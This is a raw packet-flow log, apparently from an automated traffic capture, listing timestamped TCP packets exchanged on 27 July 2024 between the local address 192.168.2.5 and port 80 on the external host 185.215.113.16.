Jul 27, 2024 09:25:12.304378986 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.304383993 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.304394960 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.304405928 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.304410934 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.304426908 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.304428101 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.304441929 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.304450035 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.304471016 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.304498911 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.304594994 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.304610014 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.304624081 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.304634094 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.304640055 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.304641962 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.304655075 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.304657936 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.304671049 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.304680109 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.304686069 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.304686069 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.304701090 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.304707050 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.304718018 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.304719925 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.304738045 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.304747105 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.304852009 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.304867983 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.304883957 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.304892063 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.304913044 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.304925919 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.304975033 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.304991007 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.305006981 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.305016994 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.305021048 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.305036068 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.305037975 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.305047035 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.305053949 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.305064917 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.305068970 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.305085897 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.305089951 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.305089951 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.305098057 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.305120945 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.305239916 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.305255890 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.305269957 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.305280924 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.305286884 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.305301905 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.305303097 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.305315971 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.305315971 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.305334091 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.305349112 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.323611021 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.323627949 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.323643923 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.323669910 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.323679924 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.359730005 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.359764099 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.359780073 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.359791040 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.359803915 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.359806061 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.359822989 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.359828949 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.359838009 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.359848022 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.359858990 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.359863043 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.359874964 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.359889984 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.359889984 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.359905958 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.359913111 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.359929085 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.359932899 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.359945059 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.359961033 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.359966040 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.359981060 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.359987974 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.360001087 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.360003948 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.360019922 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.360019922 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.360034943 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.360038996 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.360050917 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.360054970 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.360069990 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.360070944 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.360085964 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.360090017 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.360105038 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.360105038 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.360117912 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.360121012 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.360132933 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.360136032 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.360156059 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.360160112 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.360166073 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.360177040 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.360196114 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.360203028 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.360219002 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.360223055 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.360234976 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.360239029 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.360250950 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.360258102 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.360266924 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.360276937 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.360281944 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.360290051 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.360299110 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.360312939 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.360335112 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.360366106 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.360382080 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.360398054 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.360405922 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.360429049 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.360433102 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.395242929 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.395275116 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.395292997 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.395298004 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.395308018 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.395312071 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.395323038 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.395325899 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.395343065 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.395349026 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.395366907 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.395371914 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.395392895 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.395409107 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.395426035 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.395432949 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.395441055 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.395445108 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.395456076 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.395457029 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.395474911 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.395492077 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.395529985 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.395546913 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.395564079 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.395569086 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.395576954 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.395581007 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.395597935 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.395607948 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.395709991 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.395726919 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.395741940 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.395755053 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.395756960 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.395761013 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.395775080 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.395781994 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.395787001 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.395807028 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.395814896 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.395831108 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.395855904 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.395874977 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.395946980 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.395962000 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.395977974 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.395983934 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.395993948 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.395994902 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.396009922 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.396018028 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.396024942 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.396033049 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.396039963 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.396042109 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.396060944 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.396076918 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.396162033 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.396178007 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.396192074 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.396202087 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.396210909 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.396226883 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.396253109 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.396267891 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.396284103 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.396292925 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.396300077 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.396315098 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.396316051 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.396332026 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.396338940 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.396359921 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.396368027 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.396593094 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.396609068 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.396622896 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.396635056 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.396644115 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.396653891 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.396661043 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.396667004 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.396677971 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.396684885 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.396691084 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.396693945 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.396709919 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.396711111 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.396725893 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.396733046 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.396733046 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.396766901 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.396888971 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.396904945 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.396920919 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.396929979 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.396936893 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.396939039 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.396953106 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.396964073 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.396964073 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.396969080 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.396984100 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.396990061 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.397007942 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.397032022 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.397037983 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.397069931 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.397079945 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.397094965 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.397118092 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.397125006 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.397129059 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.397145987 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.397161007 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.397170067 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.397176981 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.397181988 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.397192955 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.397269011 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.397425890 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.397449017 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.397464991 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.397464991 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.397475004 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.397479057 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.397492886 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.397509098 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.397510052 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.397524118 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.397531986 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.397541046 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.397553921 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.397556067 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.397561073 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.397572041 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.397574902 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.397587061 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.397593975 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.397603035 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.397610903 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.397618055 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.397636890 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.397722960 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.397761106 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.397800922 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.397818089 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.397833109 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.397842884 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.397845984 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.397854090 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.397874117 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.397886038 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.451822996 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.451891899 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.451899052 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.451916933 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.451932907 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.451946020 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.451946020 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.451946974 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.451971054 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.451972961 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.451978922 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.451987982 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.452003956 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.452009916 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.452019930 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.452023029 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.452035904 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.452039003 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.452053070 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.452060938 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.452060938 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.452091932 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.452104092 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.452120066 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.452136993 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.452141047 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.452157021 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.452174902 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.452217102 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.452234030 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.452250004 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.452259064 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.452280998 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.452290058 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.452291012 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.452330112 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.452358007 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.452374935 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.452389956 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.452395916 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.452405930 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:12.452413082 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.452420950 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.452444077 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:12.452529907 CEST	80	49705	185.215.113.16	192.168.2.5
